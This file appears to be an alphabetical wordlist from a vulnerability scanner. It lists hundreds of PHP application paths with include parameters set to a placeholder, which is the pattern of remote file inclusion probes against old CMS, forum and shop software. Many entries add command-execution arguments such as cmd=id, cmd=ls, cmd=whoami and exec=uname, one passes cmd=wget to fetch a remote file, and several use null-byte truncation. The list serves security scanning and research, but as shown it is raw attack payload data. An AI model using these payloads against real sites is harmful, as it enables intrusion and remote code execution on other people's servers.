-/arash_lib/include/list_features.inc.php?arashlib_dir=XXpathXX
-/archive.php?scriptpath=XXpathXX?
-/aroundme/template/barnraiser_01/pol_view.tpl.php?poll=1&templatePath=XXpathXX%00
-/artlist.php?root_path=XXpathXX
-/assets/plugins/mp3_id/mp3_id.php?GLOBALS[BASE]=XXpathXX?cmd
-/assets/snippets/reflect/snippet.reflect.php?reflect_base=XXpathXX?
-/athena.php?athena_dir=XXpathXX
-/auction/auction_common.php?phpbb_root_path=XXpathXX
-/auction/includes/converter.inc.php?include_path=XXpathXX?
-/auction/includes/messages.inc.php?include_path=XXpathXX?
-/auction/includes/settings.inc.php?include_path=XXpathXX?
-/auction/phpAdsNew/view.inc.php?phpAds_path=XXpathXX
-/auth.cookie.inc.php?da_path=XXpathXX
-/auth.header.inc.php?da_path=XXpathXX
-/auth.sessions.inc.php?da_path=XXpathXX
-/auth/auth.php?phpbb_root_path=XXpathXX
-/auth/auth_phpbb/phpbb_root_path=XXpathXX
-/authenticate.php?default_path_for_themes=XXpathXX?
-/authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=XXpathXX
-/authentication/smf/smf.functions.php?pConfig_auth[smf_path]=XXpathXX
-/auto_check_renewals.php?installed_config_file=XXpathXX?cmd=ls
-/autoindex.php?cfg_file=XXpathXX?
-/awzmb/adminhelp.php?Setting[OPT_includepath]=XXpathXX
-/awzmb/modules/admin.incl.php?Setting[OPT_includepath]=XXpathXX
-/awzmb/modules/core/core.incl.php?Setting[OPT_includepath]=XXpathXX
-/awzmb/modules/gbook.incl.php?Setting[OPT_includepath]=XXpathXX
-/awzmb/modules/help.incl.php?Setting[OPT_includepath]=XXpathXX
-/awzmb/modules/reg.incl.php?Setting[OPT_includepath]=XXpathXX
-/axoverzicht.cgi?maand=XXpathXX
-/b2-tools/gm-2-b2.php?b2inc=XXpathXX
-/b2verifauth.php?index=XXpathXX?
-/backend/addons/links/index.php?PATH=XXpathXX
-/basebuilder/src/main.inc.php?mj_config[src_path]=XXpathXX???
-/bb_admin.php?includeFooter=XXpathXX
-/beacon/language/1/splash.lang.php?languagePath=XXpathXX
-/beacon/language/1/splash.lang.php?languagePath=XXpathXX?
-/belegungsplan/jahresuebersicht.inc.php?root=XXpathXX
-/belegungsplan/monatsuebersicht.inc.php?root=XXpathXX
-/belegungsplan/tagesuebersicht.inc.php?root=XXpathXX
-/belegungsplan/wochenuebersicht.inc.php?root=XXpathXX
-/bemarket/postscript/postscript.php?p_mode=XXpathXX
-/biblioteca/bib_form.php?CLASSPATH=XXpathXX
-/biblioteca/bib_pldetails.php?CLASSPATH=XXpathXX
-/biblioteca/bib_plform.php?CLASSPATH=XXpathXX
-/biblioteca/bib_plsearchc.php?CLASSPATH=XXpathXX
-/biblioteca/bib_plsearchs.php?CLASSPATH=XXpathXX
-/biblioteca/bib_save.php?CLASSPATH=XXpathXX
-/biblioteca/bib_searchc.php?CLASSPATH=XXpathXX
-/biblioteca/bib_searchs.php?CLASSPATH=XXpathXX
-/biblioteca/edi_form.php?CLASSPATH=XXpathXX
-/biblioteca/edi_save.php?CLASSPATH=XXpathXX
-/biblioteca/gen_form.php?CLASSPATH=XXpathXX
-/biblioteca/gen_save.php?CLASSPATH=XXpathXX
-/biblioteca/lin_form.php?CLASSPATH=XXpathXX
-/biblioteca/lin_save.php?CLASSPATH=XXpathXX
-/biblioteca/luo_form.php?CLASSPATH=XXpathXX
-/biblioteca/luo_save.php?CLASSPATH=XXpathXX
-/biblioteca/sog_form.php?CLASSPATH=XXpathXX
-/biblioteca/sog_save.php?CLASSPATH=XXpathXX
-/bigace/addon/smarty/plugins/function.captcha.php?GLOBALS[_BIGACE][DIR][addon]=XXpathXX
-/bigace/system/admin/plugins/menu/menuTree/plugin.php?GLOBALS[_BIGACE][DIR][admin]=XXpathXX?
-/bigace/system/application/util/item_information.php?GLOBALS[_BIGACE][DIR][admin]=XXpathXX?
-/bigace/system/application/util/jstree.php?GLOBALS[_BIGACE][DIR][admin]=XXpathXX?
-/bigace/system/classes/sql/AdoDBConnection.php?GLOBALS[_BIGACE][DIR][addon]=XXpathXX?
-/bild.php?config[root_ordner]=XXpathXX?&cmd=id
-/bin/qte_init.php?qte_root=XXpathXX?
-/bingoserver.php3?response_dir=XXpathXX
-/block.php?Include=XXpathXX
-/blocks/birthday.php?full_path=XXpathXX
-/blocks/events.php?full_path=XXpathXX
-/blocks/help.php?full_path=XXpathXX
-/blogcms/admin/media.php?DIR_LIBS=XXpathXX?
-/blogcms/admin/xmlrpc/server.php?DIR_LIBS=XXpathXX?
-/blogcms/index.php?DIR_PLUGINS=XXpathXX?
-/board/post.php?qb_path=XXpathXX
-/boitenews4/index.php?url_index=XXpathXX?
-/books/allbooks.php?home=XXpathXX
-/books/home.php?home=XXpathXX
-/books/mybooks.php?home=XXpathXX
-/bp_ncom.php?bnrep=XXpathXX
-/bp_ncom.php?bnrep=XXpathXX?
-/bp_news.php?bnrep=XXpathXX
-/bridge/enigma/E2_header.inc.php?boarddir=XXpathXX?
-/bridge/yabbse.inc.php?sourcedir=XXpathXX
-/bridges/SMF/logout.php?path_to_smf=XXpathXX
-/bu/bu_cache.php?bu_dir=XXpathXX?
-/bu/bu_claro.php?bu_dir=XXpathXX?
-/bu/bu_parse.php?bu_dir=XXpathXX?
-/bu/process.php?bu_dir=XXpathXX?
-/buddy.php?CONFIG[MWCHAT_Libs]=XXpathXX?
-/builddb.php?env_dir=XXpathXX
-/button/settings_sql.php?path=XXpathXX
-/cadre/fw/class.Quick_Config_Browser.php?GLOBALS[config][framework_path]=XXpathXX?
-/cal.func.php?dir_edge_lang=XXpathXX
-/calcul-page.php?home=XXpathXX
-/calendar.php?cfg_dir=XXpathXX?
-/calendar.php?lang=XXpathXX
-/calendar.php?path_to_calendar=XXpathXX
-/calendar.php?vwar_root=XXpathXX?
-/calendar/demo/index.php?date=&v=XXpathXX?
-/calendar/payment.php?insPath=XXpathXX
-/calendario/cal_insert.php?CLASSPATH=XXpathXX
-/calendario/cal_save.php?CLASSPATH=XXpathXX
-/calendario/cal_saveactivity.php?CLASSPATH=XXpathXX
-/cart.php?lang_list=XXpathXX
-/cart_content.php?cart_isp_root=XXpathXX
-/catalogg/inludes/include_once.php?include_file=XXpathXX
-/catalogshop.php?mosConfig_absolute_path=XXpathXX
-/cdsagenda/modification/SendAlertEmail.php?AGE=XXpathXX?
-/cfagcms/themes/default/index.php?main=XXpathXX
-/ch_readalso.php?read_xml_include=XXpathXX
-/challenge.php?vwar_root=XXpathXX
-/change_preferences2.php?target=XXpathXX?
-/chat.php?CONFIG[MWCHAT_Libs]=XXpathXX?
-/chat.php?my[root]=XXpathXX?cm=id
-/chat/adminips.php?banned_file=XXpathXX
-/chat/users_popupL.php3?From=XXpathXX
-/checkout.php?abs_path=XXpathXX
-/checkout.php?abs_path=XXpathXX?
-/ciamos_path/modules/forum/include/config.php?module_cache_path='XXpathXX'
-/circ.php?include_path=XXpathXX?
-/circolari/cir_save.php?CLASSPATH=XXpathXX
-/citywriter/head.php?path=XXpathXX?
-/cl_files/index.php?path_to_calendar=XXpathXX?
-/claroline/auth/ldap/authldap.php?includePath=XXpathXX
-/claroline/phpbb/page_tail.php?includePath=XXpathXX
-/claroline180rc1/claroline/inc/lib/import.lib.php?includePath=XXpathXX?
-/class.mysql.php?path_to_bt_dir=XXpathXX
-/class/Wiki/Wiki.php?c_node[class_path]=XXpathXX
-/class/jpcache/jpcache.php?_PSL[classdir]=XXpathXX?exec=uname
-/class/php/d4m_ajax_pagenav.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
-/classes/Auth/OpenID/Association.php?_ENV[asicms][path]=XXpathXX
-/classes/Auth/OpenID/BigMath.php?_ENV[asicms][path]=XXpathXX
-/classes/Auth/OpenID/DiffieHellman.php?_ENV[asicms][path]=XXpathXX
-/classes/Auth/OpenID/DumbStore.php?_ENV[asicms][path]=XXpathXX
-/classes/Auth/OpenID/Extension.php?_ENV[asicms][path]=XXpathXX
-/classes/Auth/OpenID/FileStore.php?_ENV[asicms][path]=XXpathXX
-/classes/Auth/OpenID/HMAC.php?_ENV[asicms][path]=XXpathXX
-/classes/Auth/OpenID/MemcachedStore.php?_ENV[asicms][path]=XXpathXX
-/classes/Auth/OpenID/Message.php?_ENV[asicms][path]=XXpathXX
-/classes/Auth/OpenID/Nonce.php?_ENV[asicms][path]=XXpathXX
-/classes/Auth/OpenID/SQLStore.php?_ENV[asicms][path]=XXpathXX
-/classes/Auth/OpenID/SReg.php?_ENV[asicms][path]=XXpathXX
-/classes/Auth/OpenID/TrustRoot.php?_ENV[asicms][path]=XXpathXX
-/classes/Auth/OpenID/URINorm.php?_ENV[asicms][path]=XXpathXX
-/classes/Auth/Yadis/XRDS.php?_ENV[asicms][path]=XXpathXX
-/classes/Auth/Yadis/XRI.php?_ENV[asicms][path]=XXpathXX
-/classes/Auth/Yadis/XRIRes.php?_ENV[asicms][path]=XXpathXX
-/classes/Cache.class.php?rootdir=XXpathXX?
-/classes/Customer.class.php?rootdir=XXpathXX?
-/classes/Performance.class.php?rootdir=XXpathXX?
-/classes/Project.class.php?rootdir=XXpathXX?
-/classes/Representative.class.php?rootdir=XXpathXX?
-/classes/User.class.php?rootdir=XXpathXX?
-/classes/admin_o.php?absolutepath=XXpathXX
-/classes/adodbt/sql.php?classes_dir=XXpathXX
-/classes/adodbt/sql.php?classes_dir=XXpathXX?
-/classes/board_o.php?absolutepath=XXpathXX
-/classes/class_admin.php?PathToComment=XXpathXX?
-/classes/class_comments.php?PathToComment=XXpathXX?
-/classes/class_mail.inc.php?path_to_folder=XXpathXX
-/classes/common.php?rootdir=XXpathXX?
-/classes/core/language.php?rootdir=XXpathXX
-/classes/dev_o.php?absolutepath=XXpathXX
-/classes/file_o.php?absolutepath=XXpathXX
-/classes/html/com_articles.php?absolute_path=XXpathXX
-/classes/phpmailer/class.cs_phpmailer.php?classes_dir=XXpathXX
-/classes/query.class.php?baseDir=XXpathXX
-/classes/tech_o.php?absolutepath=XXpathXX
-/classified.php?insPath=XXpathXX
-/classified_right.php?language_dir=XXpathXX
-/classifieds/index.php?lowerTemplate=XXpathXX
-/clear.php?bibtexrootrel=XXpathXX?
-/clearinfo.php?bibtexrootrel=XXpathXX?
-/click.php?dir=XXpathXX?
-/client.php?dir=XXpathXX
-/client/faq_1/PageController.php?dir=XXpathXX
-/clients/index.php?src=XXpathXX
-/cls_fast_template.php?fname=XXpathXX
-/cm68news/engine/oldnews.inc.php?addpath=XXpathXX?&
-/cms/Orlando/modules/core/logger/init.php?GLOBALS[preloc]=XXpathXX?
-/cms/meetweb/classes/ManagerResource.class.php?root_path=XXpathXX
-/cms/meetweb/classes/ManagerRightsResource.class.php?root_path=XXpathXX
-/cms/meetweb/classes/RegForm.class.php?root_path=XXpathXX
-/cms/meetweb/classes/RegResource.class.php?root_path=XXpathXX
-/cms/meetweb/classes/RegRightsResource.class.php?root_path=XXpathXX
-/cms/meetweb/classes/modules.php?root_path=XXpathXX
-/cms/modules/form.lib.php?sourceFolder=XXpathXX?
-/cms/system/openengine.php?oe_classpath=XXpathXX???
-/cmsimple2_7/cmsimple/cms.php?pth['file']['config']=XXpathXX?
-/cn_config.php?tpath=XXpathXX?
-/coast/header.php?sections_file=XXpathXX?
-/code/berylium-classes.php?beryliumroot=XXpathXX?
-/code/display.php?admindir=XXpathXX?
-/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=XXpathXX
-/com_booklibrary/toolbar_ext.php?mosConfig_absolute_path=XXpathXX?
-/com_directory/modules/mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=XXpathXX?
-/com_media_library/toolbar_ext.php?mosConfig_absolute_path=XXpathXX?
-/com_realestatemanager/toolbar_ext.php?mosConfig_absolute_path=XXpathXX?
-/com_vehiclemanager/toolbar_ext.php?mosConfig_absolute_path=XXpathXX?
-/comments.php?AMG_serverpath=XXpathXX
-/comments.php?scriptpath=XXpathXX?
-/common.inc.php?CFG[libdir]=XXpathXX
-/common.inc.php?CFG[libdir]=XXpathXX?
-/common.inc.php?base_path=XXpathXX
-/common.php?db_file=XXpathXX
-/common.php?dir=XXpathXX
-/common.php?ezt_root_path=XXpathXX?
-/common.php?include_path=XXpathXX
-/common.php?livealbum_dir=XXpathXX?
-/common.php?locale=XXpathXX
-/common.php?phpht_real_path=XXpathXX?
-/common/db.php?commonpath=XXpathXX?
-/common/func.php?CommonAbsD=XXpathXX?
-/common/func.php?CommonAbsDir=XXpathXX
-/community/Offline.php?sourcedir=XXpathXX?
-/component/com_onlineflashquiz/quiz/common/db_config.inc.php?base_dir=XXpathXX
-/components/calendar/com_calendar.php?absolute_path=XXpathXX?
-/components/com_ajaxchat/tests/ajcuser.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
-/components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php?mosConfig_absolute_path=XXpathXX
-/components/com_artforms/assets/captcha/includes/captchaform/mp3captcha.php?mosConfig_absolute_path=XXpathXX
-/components/com_artforms/assets/captcha/includes/captchatalk/swfmovie.php?mosConfig_absolute_path=XXpathXX
-/components/com_articles.php?absolute_path=XXpathXX?
-/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=XXpathXX
-/components/com_calendar.php?absolute_path=XXpathXX?
-/components/com_cpg/cpg.php?mosConfig_absolute_path=XXpathXX?
-/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=XXpathXX
-/components/com_facileforms/facileforms.frame.php?ff_compath=XXpathXX
-/components/com_forum/download.php?phpbb_root_path=XXpathXX
-/components/com_galleria/galleria.html.php?mosConfig_absolute_path=XXpathXX
-/components/com_guestbook.php?absolute_path=XXpathXX?
-/components/com_hashcash/server.php?mosConfig_absolute_path=XXpathXX?
-/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=XXpathXX
-/components/com_jd-wiki/bin/dwpage.php?mosConfig_absolute_path=XXpathXX
-/components/com_jd-wiki/bin/wantedpages.php?mosConfig_absolute_path=XXpathXX
-/components/com_joomlaboard/file_upload.php?sbp=XXpathXX?
-/components/com_koesubmit/koesubmit.php?mosConfig_absolute_path=XXpathXX?
-/components/com_lm/archive.php?mosConfig_absolute_path=XXpathXX?
-/components/com_mambowiki/MamboLogin.php?IP=XXpathXX?
-/components/com_minibb.php?absolute_path=XXpathXX
-/components/com_mosmedia/media.divs.php?mosConfig_absolute_path=XXpathXX
-/components/com_mosmedia/media.tab.php?mosConfig_absolute_path=XXpathXX
-/components/com_mospray/scripts/admin.php?basedir=XXpathXX?&cmd=id
-/components/com_mp3_allopass/allopass-error.php?mosConfig_live_site=XXpathXX
-/components/com_mp3_allopass/allopass.php?mosConfig_live_site=XXpathXX
-/components/com_nfn_addressbook/nfnaddressbook.php?mosConfig_absolute_path=XXpathXX?
-/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=XXpathXX?
-/components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=XXpathXX
-/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=XXpathXX
-/components/com_reporter/processor/reporter.sql.php?mosConfig_absolute_path=XXpathXX
-/components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=XXpathXX
-/components/com_rsgallery2/rsgallery.html.php?mosConfig_absolute_path=XXpathXX
-/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=XXpathXX?
-/components/com_slideshow/admin.slideshow1.php?mosConfig_live_site=XXpathXX
-/components/com_smf/smf.php?mosConfig_absolute_path=XXpathXX
-/components/com_thopper/inc/contact_type.php?mosConfig_absolute_path=XXpathXX
-/components/com_thopper/inc/itemstatus_type.php?mosConfig_absolute_path=XXpathXX
-/components/com_thopper/inc/projectstatus_type.php?mosConfig_absolute_path=XXpathXX
-/components/com_thopper/inc/request_type.php?mosConfig_absolute_path=XXpathXX
-/components/com_thopper/inc/responses_type.php?mosConfig_absolute_path=XXpathXX
-/components/com_thopper/inc/timelog_type.php?mosConfig_absolute_path=XXpathXX
-/components/com_thopper/inc/urgency_type.php?mosConfig_absolute_path=XXpathXX
-/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=XXpathXX
-/components/core/connect.php?language_path=XXpathXX
-/components/minibb/bb_plugins.php?absolute_path=XXpathXX?
-/components/minibb/index.php?absolute_path=XXpathXX?
-/components/xmlparser/loadparser.php?absoluteurl=XXpathXX
-/compteur/mapage.php?chemin=XXpathXX
-/conf.php?securelib=XXpathXX
-/conf.php?securelib=XXpathXX?
-/config.inc.php3?rel_path=XXpathXX
-/config.inc.php?_path=XXpathXX
-/config.inc.php?path_escape=XXpathXX
-/config.inc.php?path_escape=XXpathXX%00
-/config.php?full_path=XXpathXX?
-/config.php?full_path_to_db=XXpathXX
-/config.php?fullpath=XXpathXX
-/config.php?incpath=XXpathXX
-/config.php?path_to_root=XXpathXX
-/config.php?rel_path=XXpathXX?
-/config.php?returnpath=XXpathXX
-/config.php?sql_language=XXpathXX?
-/config.php?xcart_dir=XXpathXX?
-/config/config_admin.php?INC=XXpathXX?
-/config/config_main.php?INC=XXpathXX?
-/config/config_member.php?INC=XXpathXX?
-/config/dbutil.bck.php?confdir=XXpathXX
-/config/mysql_config.php?INC=XXpathXX?
-/config/sender.php?ROOT_PATH=XXpathXX?
-/configuration.php?absolute_path=XXpathXX?
-/confirmUnsubscription.php?output=XXpathXX
-/connect.php?path=XXpathXX
-/connexion.php?DOCUMENT_ROOT=XXpathXX?
-/contact.php?blog_theme=XXpathXX
-/contacts.php?cal_dir=XXpathXX
-/contenido/external/frontend/news.php?cfg[path][includes]=XXpathXX
-/content.php?content=XXpathXX
-/content/admin.php?pwfile=XXpathXX
-/content/content.php?fileloc=XXpathXX?
-/content/delete.php?pwfile=XXpathXX
-/content/modify.php?pwfile=XXpathXX
-/content/modify_go.php?pwfile=XXpathXX
-/contrib/forms/evaluation/C_FormEvaluation.class.php?GLOBALS[fileroot]=XXpathXX
-/contrib/mx_glance_sdesc.php?mx_root_path=XXpathXX
-/contrib/phpBB2/modules.php?phpbb_root_path=XXpathXX?
-/controllers/MySQLController.php?baseDir=XXpathXX
-/controllers/SQLController.php?baseDir=XXpathXX
-/controllers/SetupController.php?baseDir=XXpathXX
-/controllers/VideoController.php?baseDir=XXpathXX
-/controllers/ViewController.php?baseDir=XXpathXX
-/convert-date.php?cal_dir=XXpathXX
-/convert/mvcw.php?step=1&vwar_root=XXpathXX
-/convert/mvcw.php?vwar_root=XXpathXX
-/core/admin/admin.php?p=admin&absoluteurlXXpathXX
-/core/admin/categories.php?categoriesenabled=yes&do=categories&action=del&absoluteurlXXpathXX
-/core/admin/categories_add.php?absoluteurlXXpathXX
-/core/admin/categories_remove.php?absoluteurlXXpathXX
-/core/admin/edit.php?p=admin&do=edit&c=ok&absoluteurlXXpathXX
-/core/admin/editdel.php?p=admin&absoluteurlXXpathXX
-/core/admin/ftpfeature.php?p=admin&absoluteurlXXpathXX
-/core/admin/login.php?absoluteurlXXpathXX
-/core/admin/pgRSSnews.php?absoluteurlXXpathXX
-/core/admin/showcat.php?absoluteurlXXpathXX
-/core/admin/upload.php?p=admin&do=upload&c=ok&absoluteurlXXpathXX
-/core/archive_cat.php?absoluteurlXXpathXX
-/core/archive_nocat.php?absoluteurlXXpathXX
-/core/aural.php?site_absolute_path=XXpathXX
-/core/aural.php?site_absolute_path=XXpathXX?&cmd=dir
-/core/editor.php?editor_insert_bottom=XXpathXX
-/core/includes.php?CMS_ROOT=XXpathXX?
-/core/recent_list.php?absoluteurlXXpathXX
-/corpo.php?pagina=XXpathXX
-/cp2.php?securelib=XXpathXX?
-/cpe/index.php?repertoire_config=XXpathXX
-/crea.php?plancia=XXpathXX
-/creacms/_administration/edition_article/edition_article.php?cfg[document_uri]=XXpathXX?
-/creacms/_administration/fonctions/get_liste_langue.php?cfg[base_uri_admin]=XXpathXX?
-/creat_news_all.php?language=XXpathXX
-/create_file.php?target=XXpathXX?
-/cron.php?ROOT_PATH=XXpathXX
-/cron.php?include_path=XXpathXX?
-/crontab/run_billing.php?config[include_dir]=XXpathXX?
-/cross.php?url=XXpathXX
-/custom_vars.php?sys[path_addon]=XXpathXX
-/customer/product.php?xcart_dir=XXpathXX
-/cwb/comanda.php?INCLUDE_PATH=XXpathXX?
-/datei.php?config[root_ordner]=XXpathXX?&cmd=id
-/db/PollDB.php?CONFIG_DATAREADERWRITER=XXpathXX?
-/db/mysql/db.inc.php?SPL_CFG[dirroot]=XXpathXX?
-/dbcommon/include.php?_APP_RELATIVE_PATH=XXpathXX
-/dbmodules/DB_adodb.class.php?PHPOF_INCLUDE_PATH=XXpathXX
-/debugger.php?config_atkroot=XXpathXX
-/decoder/gallery.php?ccms_library_path=XXpathXX
-/decoder/markdown.php?ccms_library_path=XXpathXX
-/defaults_setup.php?ROOT_PATH=XXpathXX?cmd=ls
-/defines.php?WEBCHATPATH=XXpathXX?
-/demo/ms-pe02/catalog.php?cid=0&sid='%22&sortfield=title&sortorder=ASC&pagenumber=1&main=XXpathXX&
-/depouilg.php3?NomVote=XXpathXX?
-/development.php?root_prefix=XXpathXX?
-/dfcode.php?DFORUM_PATH=XXpathXX?
-/dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.list.php?set_depth=XXpathXX?
-/dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.search.php?set_depth=XXpathXX?
-/dfd_cart/app.lib/product.control/core.php/product.control.config.php?set_depth=XXpathXX
-/dfd_cart/app.lib/product.control/core.php/product.control.config.php?set_depth=XXpathXX?
-/dialog.php?CONFIG[MWCHAT_Libs]=XXpathXX?
-/dialogs/a.php?spaw_dir=XXpathXX?&cmd=id
-/dialogs/collorpicker.php?spaw_dir=XXpathXX&cmd=id
-/dialogs/img.php?spaw_dir=XXpathXX?&cmd=id
-/dialogs/img_library.php?spaw_dir=XXpathXX?&cmd=id
-/dialogs/table.php?spaw_dir=XXpathXX?&cmd=id
-/dialogs/td.php?spaw_dir=XXpathXX?&cmd=id
-/digitaleye_Path/module.php?menu=XXpathXX?
-/dir/prepend.php?_PX_config[manager_path]=XXpathXX
-/dir_thatware/config.php?root_path=XXpathXX'
-/direct.php?rf=XXpathXX
-/direction/index.php?repertoire_config=XXpathXX
-/directory/index.php?path=XXpathXX
-/display.php?pag=XXpathXX
-/display.php?path=XXpathXX
-/displayCategory.php?basepath=XXpathXX
-/dix.php3?url_phpartenaire=XXpathXX
-/dm-albums/template/album.php?SECURITY_FILE=XXpathXX
-/doc/admin/index.php?ptinclude=XXpathXX
-/doceboCore/lib/lib.php?GLOBALS[where_framework]=XXpathXX
-/doceboKms/modules/documents/lib.filelist.php?GLOBALS[where_framework]=XXpathXX
-/doceboKms/modules/documents/tree.documents.php?GLOBALS[where_framework]=XXpathXX
-/doceboLms/lib/lib.repo.php?GLOBALS[where_framework]=XXpathXX
-/doceboScs/lib/lib.teleskill.php?GLOBALS[where_scs]=XXpathXX
-/docebocms/lib/lib.simplesel.php?GLOBALS[where_framework]=XXpathXX
-/docs/front-end-demo/cart2.php?workdir=XXpathXX?
-/dokeos/claroline/resourcelinker/resourcelinker.inc.php?clarolineRepositorySys=XXpathXX?&cmd=wget%20XXpathXX
-/dosearch.php?RESPATH=XXpathXX
-/download.php?root_prefix=XXpathXX?
-/download_engine_V1.4.3/addmember.php?eng_dir=XXpathXX
-/download_engine_V1.4.3/admin/enginelib/class.phpmailer.php?lang_pathr=XXpathXX
-/download_engine_V1.4.3/admin/includes/spaw/dialogs/colorpicker.php?spaw_root=XXpathXX
-/downstat1.8/chart.php?art=XXpathXX?
-/dp_logs.php?HomeDir=XXpathXX
-/eXPerience2/modules.php?file=XXpathXX
-/ea-gBook/index_inc.php?inc_ordner=XXpathXX?&act=cmd&cmd=whoami&d=/&submit=1&cmd_txt=1
-/edit.php?javascript_path=XXpathXX?
-/editor.php?newsfile=XXpathXX
-/editprofile.php?pathtohomedir=XXpathXX?
-/editsite.php?returnpath=XXpathXX
-/editx/add_address.php?include_dir=XXpathXX
-/elseif/contenus.php?contenus=XXpathXX
-/elseif/moduleajouter/articles/fonctions.php?tpelseifportalrepertoire=XXpathXX
-/elseif/moduleajouter/articles/usrarticles.php?corpsdesign=XXpathXX
-/elseif/moduleajouter/depot/fonctions.php?tpelseifportalrepertoire=XXpathXX
-/elseif/moduleajouter/depot/usrdepot.php?corpsdesign=XXpathXX
-/elseif/moduleajouter/depot/usrdepot.php?corpsdesignXXpathXX
-/elseif/utilisateurs/coeurusr.php?tpelseifportalrepertoire=XXpathXX
-/elseif/utilisateurs/commentaire.php?tpelseifportalrepertoire=XXpathXX
-/elseif/utilisateurs/enregistrement.php?tpelseifportalrepertoire=XXpathXX
-/elseif/utilisateurs/espaceperso.php?tpelseifportalrepertoire=XXpathXX
-/elseif/utilisateurs/votes.php?tpelseifportalrepertoire=XXpathXX
-/email_subscribe.php?root_prefix=XXpathXX?
-/embed/day.php?path=XXpathXX
-/enc/content.php?Home_Path=XXpathXX?
-/engine/Ajax/editnews.php?root_dir=XXpathXX
-/engine/api/api.class.php?dle_config_api=XXpathXX?
-/engine/engine.inc.php?absolute_path=XXpathXX
-/engine/init.php?root_dir=XXpathXX
-/engine/require.php?MY_ENV[BASE_ENGINE_LOC]=XXpathXX?
-/enth3/show_joined.php?path=XXpathXX
-/environment.php?DIR_PREFIX=XXpathXX
-/epal/index.php?view=XXpathXX?
-/errors.php?error=XXpathXX
-/errors/configmode.php?GALLERY_BASEDIR=XXpathXX
-/errors/needinit.php?GALLERY_BASEDIR=XXpathXX
-/errors/reconfigure.php?GALLERY_BASEDIR=XXpathXX
-/errors/unconfigured.php?GALLERY_BASEDIR=XXpathXX
-/es_custom_menu.php?files_dir=XXpathXX
-/es_desp.php?files_dir=XXpathXX
-/es_offer.php?files_dir=XXpathXX
-/eshow.php?Config_rootdir=XXpathXX
-/esupport/admin/autoclose.php?subd=XXpathXX?
-/eva/index.php3?aide=XXpathXX?
-/eva/index.php3?perso=XXpathXX
-/eva/index.php?eva[caminho]=XXpathXX
-/event.php?myevent_path=XXpathXX
-/event_cal/module/embed/day.php?path=XXpathXX
-/eventcal2.php.php?path_simpnews=XXpathXX
-/eventscroller.php?path_simpnews=XXpathXX
-/example-view/templates/article.php?globals[content_dir]=XXpathXX?
-/example-view/templates/dates_list.php?globals[content_dir]=XXpathXX?
-/example-view/templates/root.php?globals[content_dir]=XXpathXX?
-/example.php?site=XXpathXX
-/example/gamedemo/inc.functions.php?projectPath=XXpathXX?
-/examplefile.php?bibtexrootrel=XXpathXX?
-/examples/patExampleGen/bbcodeSource.php?example=XXpathXX
-/exception/include.php?_APP_RELATIVE_PATH=XXpathXX
-/extauth/drivers/ldap.inc.php?clarolineRepositorySys=XXpathXX
-/extras/mt.php?web_root=XXpathXX
-/extras/poll/poll.php?file_newsportal=XXpathXX
-/ezusermanager_pwd_forgott.php?ezUserManager_Path=XXpathXX
-/faq.php?module_root_path=XXpathXX
-/faq.php?phpbb_root_path=XXpathXX
-/fckeditor/editor/dialog/fck_link.php?dirroot=XXpathXX
-/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Dirroot=XXpathXX
-/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?dirroot=XXpathXX?&cmd=id
-/fcring.php?s_fuss=XXpathXX
-/feed.php?config[root_ordner]=XXpathXX?&cmd=id
-/feed/index2.php?m=XXpathXX
-/files/amazon-bestsellers.php?CarpPath=XXpathXX
-/files/carprss.php?CarpPath=XXpathXX
-/files/compose-attach.php3?BSX_LIBDIR=XXpathXX
-/files/compose-menu.php3?BSX_LIBDIR=XXpathXX
-/files/compose-new.php3?BSX_LIBDIR=XXpathXX
-/files/compose-send.php3?BSX_LIBDIR=XXpathXX
-/files/folder-create.php3?BSX_LIBDIR=XXpathXX
-/files/folder-delete.php3?BSX_LIBDIR=XXpathXX
-/files/folder-empty.php3?BSX_LIBDIR=XXpathXX
-/files/folder-rename.php3?BSX_LIBDIR=XXpathXX
-/files/folders.php3?BSX_LIBDIR=XXpathXX
-/files/login.php3?err=hack&BSX_HTXDIR=XXpathXX
-/files/mainfile.php?page[path]=XXpathXX?&cmd=ls
-/files/mbox-list.php3?BSX_LIBDIR=XXpathXX
-/files/message-delete.php3?BSX_LIBDIR=XXpathXX
-/files/message-forward.php3?BSX_LIBDIR=XXpathXX
-/files/message-header.php3?BSX_LIBDIR=XXpathXX
-/files/message-print.php3?BSX_LIBDIR=XXpathXX
-/files/message-read.php3?BSX_LIBDIR=XXpathXX
-/files/message-reply.php3?BSX_LIBDIR=XXpathXX
-/files/message-replyall.php3?BSX_LIBDIR=XXpathXX
-/files/message-search.php3?BSX_LIBDIR=XXpathXX
-/findix/index.php?page=XXpathXX?&cmd=id
-/fishcart_v3/fc_functions/fc_example.php?docroot=XXpathXX
-/flushcmd/Include/editor/rich_files/class.rich.php?class_path=XXpathXX?
-/fonctions/template.php?repphp=XXpathXX?
-/fonctions_racine.php?chemin_lib=XXpathXX
-/footer.inc.php?settings[footer]=XXpathXX
-/footer.inc.php?tfooter=XXpathXX?
-/footer.php?footer_file=XXpathXX
-/footer.php?op[footer_body]=XXpathXX?
-/form.php?path=XXpathXX?&cmd=pwd
-/forum.php?cfg_file=1&fpath=XXpathXX?
-/forum/forum.php?view=XXpathXX
-/forum/forum82lib.php3?repertorylevel=XXpathXX?
-/forum/gesfil.php?repertorylevel=XXpathXX?
-/forum/lostpassword.php?repertorylevel=XXpathXX?
-/forum/mail.php?repertorylevel=XXpathXX?
-/forum/member.php?repertorylevel=XXpathXX?
-/forum/message.php?repertorylevel=XXpathXX?
-/forum/search.php?repertorylevel=XXpathXX?
